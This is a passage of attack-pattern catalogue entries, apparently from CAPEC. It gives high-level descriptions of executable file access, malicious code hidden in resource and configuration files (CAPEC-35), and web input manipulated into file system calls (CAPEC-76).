An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.